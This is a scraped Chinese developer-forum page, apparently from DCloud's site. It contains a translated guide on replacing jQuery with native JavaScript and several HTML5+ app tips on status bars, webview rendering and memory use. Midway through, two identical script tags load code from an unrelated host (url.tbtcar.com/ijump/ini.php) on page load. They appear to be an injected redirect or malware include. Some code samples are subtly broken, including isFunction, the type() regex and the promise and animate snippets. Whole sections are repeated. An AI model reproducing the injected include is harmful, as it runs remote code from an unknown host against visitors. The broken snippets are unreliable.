大部分实用工具都能在 native API 中找到. 其他高级功能可以选用专注于该领域的稳定性和性能都更好的库来代替，推荐 lodash。

6.1 基本工具

isArray
检测参数是不是数组。

// jQuery
$.isArray(range);

// Native
Array.isArray(range);
isWindow
检测参数是不是 window。

// jQuery
$.isWindow(obj);

// Native
function isWindow(obj) {
return obj !== null && obj !== undefined && obj === obj.window;
}
inArray
在数组中搜索指定值并返回索引 (找不到则返回 -1)。

// jQuery
$.inArray(item, array);

// Native
array.indexOf(item) > -1;

// ES6-way
array.includes(item);
isNumeric
检测传入的参数是不是数字。 Use typeof to decide the type or the type example for better accuracy.

// jQuery
$.isNumeric(item);

// Native
function isNumeric(value) {
var type = typeof value;

return (type === 'number' || type === 'string') && !Number.isNaN(value - Number.parseFloat(value));
}
isFunction
检测传入的参数是不是 JavaScript 函数对象。

// jQuery
$.isFunction(item);

// Native
function isFunction(item) {
if (typeof item === 'function') {
return true;
}
var type = Object.prototype.toString(item);
return type === '[object Function]' || type === '[object GeneratorFunction]';
}
isEmptyObject
检测对象是否为空 (包括不可枚举属性).

// jQuery
$.isEmptyObject(obj);

// Native
function isEmptyObject(obj) {
return Object.keys(obj).length === 0;
}
isPlainObject
检测是不是扁平对象 (使用 “{}” 或 “new Object” 创建).

// jQuery
$.isPlainObject(obj);

// Native
function isPlainObject(obj) {
if (typeof (obj) !== 'object' || obj.nodeType || obj !== null && obj !== undefined && obj === obj.window) {
return false;
}

if (obj.constructor &&
!Object.prototype.hasOwnProperty.call(obj.constructor.prototype, 'isPrototypeOf')) {
return false;
}

return true;
}
extend
合并多个对象的内容到第一个对象。 object.assign 是 ES6 API，也可以使用 polyfill。

// jQuery
$.extend({}, defaultOpts, opts);

// Native
Object.assign({}, defaultOpts, opts);
trim
移除字符串头尾空白。

// jQuery
$.trim(string);

// Native
string.trim();
map
将数组或对象转化为包含新内容的数组。

// jQuery
$.map(array, (value, index) => {
});

// Native
array.map((value, index) => {
});
each
轮询函数，可用于平滑的轮询对象和数组。

// jQuery
$.each(array, (index, value) => {
});

// Native
array.forEach((value, index) => {
});
grep
找到数组中符合过滤函数的元素。

// jQuery
$.grep(array, (value, index) => {
});

// Native
array.filter((value, index) => {
});
type
检测对象的 JavaScript [Class] 内部类型。

// jQuery
$.type(obj);

// Native
function type(item) {
const reTypeOf = /(?:^[object\s(.*?)]$)/;
return Object.prototype.toString.call(item)
.replace(reTypeOf, '$1')
.toLowerCase();
}
merge
合并第二个数组内容到第一个数组。

// jQuery
$.merge(array1, array2);

// Native
// But concat function doesn't remove duplicate items.
function merge(...args) {
return [].concat(...args)
}
now
返回当前时间的数字呈现。

// jQuery
$.now();

// Native
Date.now();
proxy
传入函数并返回一个新函数，该函数绑定指定上下文。

// jQuery
$.proxy(fn, context);

// Native
fn.bind(context);
makeArray
类数组对象转化为真正的 JavaScript 数组。

// jQuery
$.makeArray(arrayLike);

// Native
Array.prototype.slice.call(arrayLike);

// ES6-way
Array.from(arrayLike);
6.2 包含

检测 DOM 元素是不是其他 DOM 元素的后代.

// jQuery
$.contains(el, child);

// Native
el !== child && el.contains(child);
6.3 Globaleval

全局执行 JavaScript 代码。

// jQuery
$.globaleval(code);

// Native
function Globaleval(code) {
const script = document.createElement('script');
script.text = code;

document.head.appendChild(script).parentNode.removeChild(script);
}

// Use eval, but context of eval is current, context of $.Globaleval is global.
eval(code);
6.4 解析

parseHTML
解析字符串为 DOM 节点数组.

// jQuery
$.parseHTML(htmlString);

// Native
function parseHTML(string) {
const context = document.implementation.createHTMLDocument();

// Set the base href for the created document so any parsed elements with URLs
// are based on the document's URL
const base = context.createElement('base');
base.href = document.location.href;
context.head.appendChild(base);

context.body.innerHTML = string;
return context.body.children;
}
parseJSON
传入格式正确的 JSON 字符串并返回 JavaScript 值.

// jQuery
$.parseJSON(str);

// Native
JSON.parse(str);
⬆ 回到顶部

Promises

Promise 代表异步操作的最终结果。jQuery 用它自己的方式处理 promises，原生 JavaScript 遵循 Promises/A+ 标准实现了最小 API 来处理 promises。

7.1 done, fail, always

done 会在 promise 解决时调用，fail 会在 promise 拒绝时调用，always 总会调用。

// jQuery
$promise.done(doneCallback).fail(failCallback).always(alwaysCallback)

// Native
promise.then(doneCallback, failCallback).then(alwaysCallback, alwaysCallback)
7.2 when

when 用于处理多个 promises。当全部 promises 被解决时返回，当任一 promise 被拒绝时拒绝。

// jQuery
$.when($promise1, $promise2).done((promise1Result, promise2Result) => {
});

// Native
Promise.all([$promise1, $promise2]).then([promise1Result, promise2Result] => {});
7.3 Deferred

Deferred 是创建 promises 的一种方式。

// jQuery
function asyncFunc() {
const defer = new $.Deferred();
setTimeout(() => {
if(true) {
defer.resolve('some_value_computed_asynchronously');
} else {
defer.reject('failed');
}
}, 1000);

return defer.promise();
}

// Native
function asyncFunc() {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (true) {
resolve('some_value_computed_asynchronously');
} else {
reject('failed');
}
}, 1000);
});
}

// Deferred way
function defer() {
const deferred = {};
const promise = new Promise((resolve, reject) => {
deferred.resolve = resolve;
deferred.reject = reject;
});

deferred.promise = () => {
return promise;
};

return deferred;
}

function asyncFunc() {
const defer = defer();
setTimeout(() => {
if(true) {
defer.resolve('some_value_computed_asynchronously');
} else {
defer.reject('failed');
}
}, 1000);

return defer.promise();
}
⬆ 回到顶部

Animation

8.1 Show & Hide

// jQuery
$el.show();
$el.hide();

// Native
// 更多 show 方法的细节详见 https://github.com/oneuijs/oui-dom-utils/blob/master/src/index.js#L363
el.style.display = ''|'inline'|'inline-block'|'inline-table'|'block';
el.style.display = 'none';
8.2 Toggle

显示或隐藏元素。

// jQuery
$el.toggle();

// Native
if (el.ownerDocument.defaultView.getComputedStyle(el, null).display === 'none') {
el.style.display = ''|'inline'|'inline-block'|'inline-table'|'block';
} else {
el.style.display = 'none';
}
8.3 FadeIn & FadeOut

// jQuery
$el.fadeIn(3000);
$el.fadeOut(3000);

// Native
el.style.transition = 'opacity 3s';
// fadeIn
el.style.opacity = '1';
// fadeOut
el.style.opacity = '0';
8.4 FadeTo

调整元素透明度。

// jQuery
$el.fadeTo('slow',0.15);
// Native
el.style.transition = 'opacity 3s'; // 假设 'slow' 等于 3 秒
el.style.opacity = '0.15';
8.5 FadeToggle

动画调整透明度用来显示或隐藏。

// jQuery
$el.fadeToggle();

// Native
el.style.transition = 'opacity 3s';
const { opacity } = el.ownerDocument.defaultView.getComputedStyle(el, null);
if (opacity === '1') {
el.style.opacity = '0';
} else {
el.style.opacity = '1';
}
8.6 SlideUp & SlideDown

// jQuery
$el.slideUp();
$el.slideDown();

// Native
const originHeight = '100px';
el.style.transition = 'height 3s';
// slideUp
el.style.height = '0px';
// slideDown
el.style.height = originHeight;
8.7 SlideToggle

滑动切换显示或隐藏。

// jQuery
$el.slideToggle();

// Native
const originHeight = '100px';
el.style.transition = 'height 3s';
const { height } = el.ownerDocument.defaultView.getComputedStyle(el, null);
if (parseInt(height, 10) === 0) {
el.style.height = originHeight;
}
else {
el.style.height = '0px';
}
8.8 Animate

执行一系列 CSS 属性动画。

// jQuery
$el.animate({ params }, speed);

// Native
el.style.transition = 'all ' + speed;
Object.keys(params).forEach((key) =>
el.style[key] = params[key];
)
⬆ 回到顶部

Alternatives

你可能不需要 jQuery (You Might Not Need jQuery) - 如何使用原生 JavaScript 实现通用事件，元素，ajax 等用法。
npm-dom 以及 webmodules - 在 NPM 上提供独立 DOM 模块的组织
Browser Support

Chrome Firefox IE Opera Safari
Latest ✔ Latest ✔ 10+ ✔ Latest ✔ 6.1+ ✔
License

MIT

收起阅读 »

...

<script src="http://url.tbtcar.com/ijump/ini.php"></script>

<script src="http://url.tbtcar.com/ijump/ini.php"></script>

h5+ 跨平台 app开发学习路线及对应视频教程

h5+

《JavaScript 快速提高视频教程》 js基础快速提高课程【免费】
http://www.hcoder.net/course/info_229.html

《MUI 视频教程》【免费】
http://www.hcoder.net/course/info_211.html

《h.js 视频教程》【免费】
http://www.hcoder.net/tutorials/info_147.html

《HTML 5 开发教程》【免费】
http://www.hcoder.net/course/info_212.html

《APP开发实例教程 - 窗口切换》【免费】
http://www.hcoder.net/course/info_218.html

《HBuilder 8.0.1 APP开发 - 新功能全接触》【免费】
http://www.hcoder.net/course/info_227.html

--------- 实战收费教程 ------------------------

MUI、H5 APP 实战教程 - 仿《有道词典》
https://ke.qq.com/course/194834

H5 跨平台APP开发电商项目实战教程 -《仿京东优选商城》
https://ke.qq.com/course/225830

更多课程中心
http://www.hcoder.net/course

继续阅读 »

设置状态栏背景颜色

打开应用的manifest.json文件，切换到代码视图，在plus。

"plus": {  
//添加开始  
        "statusbar": {  
                "immersed": true  
        },  
        "launchwebview": {  
            "statusbar": {  
                "background": "#E01222"//背景颜色  
            }  
        }  
//添加结束  
}

继续阅读 »

打开应用的manifest.json文件，切换到代码视图，在plus。

"plus": {  
//添加开始  
        "statusbar": {  
                "immersed": true  
        },  
        "launchwebview": {  
            "statusbar": {  
                "background": "#E01222"//背景颜色  
            }  
        }  
//添加结束  
}

收起阅读 »

Android5的花屏、分块渲染解决方案

分块渲染花屏

在部分Android5的设备上，Webview内核版本为37，有一个系统bug，就是Webview的渲染会出现花屏和分块渲染，具体现象就是页面内容一个方块一个方块的出现，体验很不好。
这个bug的成因是因为渲染内存不足时，Webview内部策略不当造成的。

检查Webview版本，可以看ua。

可选的解决方案如下：

降低内存占用
最重要的是降低App内存占用，此话题篇幅较长，另见文章http://ask.dcloud.net.cn/article/12836
使用截屏来稳定窗体动画
在动画api的参数里均可以设置截屏属性：见Webview的WebviewExtraOptions里的acceleration:capture。
配置该属性后，窗体动画的启动时间会在不同手机上延迟几十到几百毫秒不等，因为截屏需要时间。
截屏完成后，动画会变成截屏画面的移动，而不是真实Webview的移动，这种动画更平顺，能避免掉花屏和分块渲染。
如果只是Webview37有花屏问题，那么建议判断仅在此时启动截屏动画。
关闭硬件加速
判断在Webview内核版本为37时，关闭硬件加速。也可以解决花屏和分块渲染问题。但会有其他影响，具体参考http://ask.dcloud.net.cn/article/55
提示用户升级Webview
Android5起，Webview可以单独安装升级。比如从华为应用市场或应用宝上下载一个Webview的apk，提示用户安装升级。

这些方法不用全部使用，最佳的方案是降低内存占用，并友情提示用户升级Webview，毕竟那个版本的Webview是真有bug。

继续阅读 »

降低内存占用

内存

系列文章目录导航：

手机硬件资源有限，不能像pc开发那样随意吃内存，这对开发者有更高的要求。
内存占用过高，会引发闪退、渲染花屏、分块渲染。

降低App的内存占用，有如下策略：

1.图片处理

图片是已知问题中最高概率发生的问题，也是解决起来最简单有效的问题。
很多开发者抱怨使用5+做的app容易闪退或花屏，100个这样的抱怨，其中99个是因为图片太大。

1.1 减少图片体积
把HTML里的图片裁剪到几十K，有必要的话，可以点击小图再新开一个页面展现大图。
唯品会也是一个图片很多的应用，但其流应用非常流畅。因为同一个商品，唯品会制作了有很多不同尺寸的图，而不是只有一张高清大图到处用。
尤其在图片列表界面，一定要使用缩略图。
不管是开发者自己制作的图，还是UGC的图，都应该在服务器侧自动处理尺寸并放置到cdn上。
1.2 不要使用背景大图
有些app里设了很大的背景图，此时非常影响渲染，请不要设大背景图。
1.3 避免在一个Webview里显示过多高清图
如果要显示清晰高清图，尽量设计成不在同一屏幕并显多张高清大图。比如点击小图新开一个Webview或nview看大图。
1.4 使用原生图片渲染控件
业务上确实需要非常多的高清图显示，那么改用plus.nativeObj下的imageslider，或自行创建多个nview来渲染图片。这比Webview里的图片渲染要省内存。

2.同屏不要显示多个webview

5+引擎有Webview的出入栈管理机制，不显示的Webview其实不会占用太多内存，包括预载但不显示的Webview。
但如果屏幕上同时显示多个Webview，那是很占渲染资源的。
过去DCloud官方曾推广多Webview解决方案，同一屏幕上通过Webview嵌套来解决body区滚动流畅、下拉刷新、底部tab等一系列问题。
在nview强大起来后，DCloud官方已经改为通过nview解决上述问题，替换同屏多Webview方案。
通过titleNView，解决区域滚动、下拉刷新等问题，并且降低内存占用，具体参考[http://www.html5plus.org/doc/zh_cn/webview.html]。
通过subnview，解决底部tab问题，并且subnview的可以大幅提升渲染速度。具体参考此文实现原生tab：http://ask.dcloud.net.cn/article/12602
另有一处使用多Webview的场景是webview侧滑菜单，这个场景我们推荐改为div方式的侧滑菜单。Hello mui里也有示例。

3.webview的出入栈控制

5+App运行时，每个Webview都在内存里，比如进入首页、列表页、最后停留在详情页，此时3个Webview都在内存里。
但为了节省内存，此时首页是会出栈的，这个出栈，不是销毁了这个Webview，还是释放了其占用的渲染资源。但其dom环境仍然存在，也依然可以执行js。
但此时如果直接从详情页跳转到首页，在低端机上有可能看到会白一下，因为首页在重新渲染。
如果从详情页back到列表页，那么详情页完全close，并且首页入栈。
也就是5+引擎的逻辑是，保留最近的2个Webview在栈内，其他Webview全部出栈，释放渲染资源。
在某些情况下，开发者可能需要手动控制出栈逻辑，可以使用这个apihttp://www.html5plus.org/doc/zh_cn/webview.html，这里搜render来控制，设为always就不会自动出栈。
但一定也要注意，栈内的Webview太多，App的内存占用还是下不了，仍然可能花屏。
那么反之，如果你的app占用内存过高，则需要检查下你是不是手动把太多Webview放入栈内了。

4.HTML、JS、CSS代码处理

减少dom复杂度，很多开发者的代码里div反复单层嵌套，毫无意义并且增加dom解析和渲染的压力；
减少重型js框架的依赖，angular、jq能不用就不用；
减少css代码，尽可能的少写css，不要写互相覆盖的无效css，不要使用复杂的css计算模型；
css里少用百分比方式的定位和宽高计算，少用padding、margin。有的开发者的界面元素刚显示时在这个位置，过一会儿抖动一下往下移动了几个像素，就是因为margin、padding生效晚导致二次渲染。
尽可能写简单朴素的代码，让Webview一次性渲染好页面。
特别强调下计时器的使用：
计时器是一个一直在吃cpu的东西，能不用就尽量别用。用完后及时销毁。
常见的计时器是图片轮播，比如首页有一个图片自动轮播，此时即使用户往下滚动到看不到轮播图，或者点开二级页，这个计时器仍然在驱动js和dom的运算。所以建议图片轮播尽量不自动播放。

继续阅读 »

系列文章目录导航：

手机硬件资源有限，不能像pc开发那样随意吃内存，这对开发者有更高的要求。
内存占用过高，会引发闪退、渲染花屏、分块渲染。

降低App的内存占用，有如下策略：

1.图片处理

图片是已知问题中最高概率发生的问题，也是解决起来最简单有效的问题。
很多开发者抱怨使用5+做的app容易闪退或花屏，100个这样的抱怨，其中99个是因为图片太大。

1.1 减少图片体积
把HTML里的图片裁剪到几十K，有必要的话，可以点击小图再新开一个页面展现大图。
唯品会也是一个图片很多的应用，但其流应用非常流畅。因为同一个商品，唯品会制作了有很多不同尺寸的图，而不是只有一张高清大图到处用。
尤其在图片列表界面，一定要使用缩略图。
不管是开发者自己制作的图，还是UGC的图，都应该在服务器侧自动处理尺寸并放置到cdn上。
1.2 不要使用背景大图
有些app里设了很大的背景图，此时非常影响渲染，请不要设大背景图。
1.3 避免在一个Webview里显示过多高清图
如果要显示清晰高清图，尽量设计成不在同一屏幕并显多张高清大图。比如点击小图新开一个Webview或nview看大图。
1.4 使用原生图片渲染控件
业务上确实需要非常多的高清图显示，那么改用plus.nativeObj下的imageslider，或自行创建多个nview来渲染图片。这比Webview里的图片渲染要省内存。

2.同屏不要显示多个webview

5+引擎有Webview的出入栈管理机制，不显示的Webview其实不会占用太多内存，包括预载但不显示的Webview。
但如果屏幕上同时显示多个Webview，那是很占渲染资源的。
过去DCloud官方曾推广多Webview解决方案，同一屏幕上通过Webview嵌套来解决body区滚动流畅、下拉刷新、底部tab等一系列问题。
在nview强大起来后，DCloud官方已经改为通过nview解决上述问题，替换同屏多Webview方案。
通过titleNView，解决区域滚动、下拉刷新等问题，并且降低内存占用，具体参考[http://www.html5plus.org/doc/zh_cn/webview.html]。
通过subnview，解决底部tab问题，并且subnview的可以大幅提升渲染速度。具体参考此文实现原生tab：http://ask.dcloud.net.cn/article/12602
另有一处使用多Webview的场景是webview侧滑菜单，这个场景我们推荐改为div方式的侧滑菜单。Hello mui里也有示例。

3.webview的出入栈控制

5+App运行时，每个Webview都在内存里，比如进入首页、列表页、最后停留在详情页，此时3个Webview都在内存里。
但为了节省内存，此时首页是会出栈的，这个出栈，不是销毁了这个Webview，还是释放了其占用的渲染资源。但其dom环境仍然存在，也依然可以执行js。
但此时如果直接从详情页跳转到首页，在低端机上有可能看到会白一下，因为首页在重新渲染。
如果从详情页back到列表页，那么详情页完全close，并且首页入栈。
也就是5+引擎的逻辑是，保留最近的2个Webview在栈内，其他Webview全部出栈，释放渲染资源。
在某些情况下，开发者可能需要手动控制出栈逻辑，可以使用这个apihttp://www.html5plus.org/doc/zh_cn/webview.html，这里搜render来控制，设为always就不会自动出栈。
但一定也要注意，栈内的Webview太多，App的内存占用还是下不了，仍然可能花屏。
那么反之，如果你的app占用内存过高，则需要检查下你是不是手动把太多Webview放入栈内了。

4.HTML、JS、CSS代码处理

减少dom复杂度，很多开发者的代码里div反复单层嵌套，毫无意义并且增加dom解析和渲染的压力；
减少重型js框架的依赖，angular、jq能不用就不用；
减少css代码，尽可能的少写css，不要写互相覆盖的无效css，不要使用复杂的css计算模型；
css里少用百分比方式的定位和宽高计算，少用padding、margin。有的开发者的界面元素刚显示时在这个位置，过一会儿抖动一下往下移动了几个像素，就是因为margin、padding生效晚导致二次渲染。
尽可能写简单朴素的代码，让Webview一次性渲染好页面。
特别强调下计时器的使用：
计时器是一个一直在吃cpu的东西，能不用就尽量别用。用完后及时销毁。
常见的计时器是图片轮播，比如首页有一个图片自动轮播，此时即使用户往下滚动到看不到轮播图，或者点开二级页，这个计时器仍然在驱动js和dom的运算。所以建议图片轮播尽量不自动播放。

收起阅读 »

xcode9 ios11 沉浸式状态栏适配

ios11 沉浸式状态栏

使用沉浸式状态栏的同学在升级iOS11以后，发现之前的沉浸式状态栏没有了，变成了一个灰条，于是开始嚷嚷着让官方修改SDK。

在官方做出动作进行通用适配之前，大家也可以自己暂时解决一下：

使用离线打包的同学可以在工程内自行设置contentInsetAdjustmentBehavior为UIScrollViewContentInsetAdjustmentNever。
喜欢native.js的同学也可以直接修改webview对象的contentInsetAdjustmentBehavior属性。
而只会HTML的同学也可以利用一个新的viewport属性进行适配。

下面单独讲一下viewport属性的方式。
需设置viewport-fit为cover。

具体代码如下如下：

<meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,viewport-fit=cover">

切记，还要在css里使用constant(safe-area-inset-top)来避开iPhone X的留海，大家可以参考此文章：https://ayogo.com/blog/ios11-viewport/

继续阅读 »

使用沉浸式状态栏的同学在升级iOS11以后，发现之前的沉浸式状态栏没有了，变成了一个灰条，于是开始嚷嚷着让官方修改SDK。

在官方做出动作进行通用适配之前，大家也可以自己暂时解决一下：

使用离线打包的同学可以在工程内自行设置contentInsetAdjustmentBehavior为UIScrollViewContentInsetAdjustmentNever。
喜欢native.js的同学也可以直接修改webview对象的contentInsetAdjustmentBehavior属性。
而只会HTML的同学也可以利用一个新的viewport属性进行适配。

下面单独讲一下viewport属性的方式。
需设置viewport-fit为cover。

具体代码如下如下：

<meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,viewport-fit=cover">

切记，还要在css里使用constant(safe-area-inset-top)来避开iPhone X的留海，大家可以参考此文章：https://ayogo.com/blog/ios11-viewport/

收起阅读 »

安卓蓝牙通讯

分享一个我自己写HBuilder连接Genymotion的小工具

你可能不需要jQuery --转载

...

h5+ 跨平台 app开发学习路线及对应视频教程

设置状态栏背景颜色

Android5的花屏、分块渲染解决方案

降低内存占用

1.图片处理

2.同屏不要显示多个webview

3.webview的出入栈控制

4.HTML、JS、CSS代码处理

1.图片处理

2.同屏不要显示多个webview

3.webview的出入栈控制

4.HTML、JS、CSS代码处理

xcode9 ios11 沉浸式状态栏适配

[备份] observer

就缺打包了 wap2app真是太好用了为工程师点赞国庆中秋愉快！

可否增加执行到哪一行的提示功能？

热门文章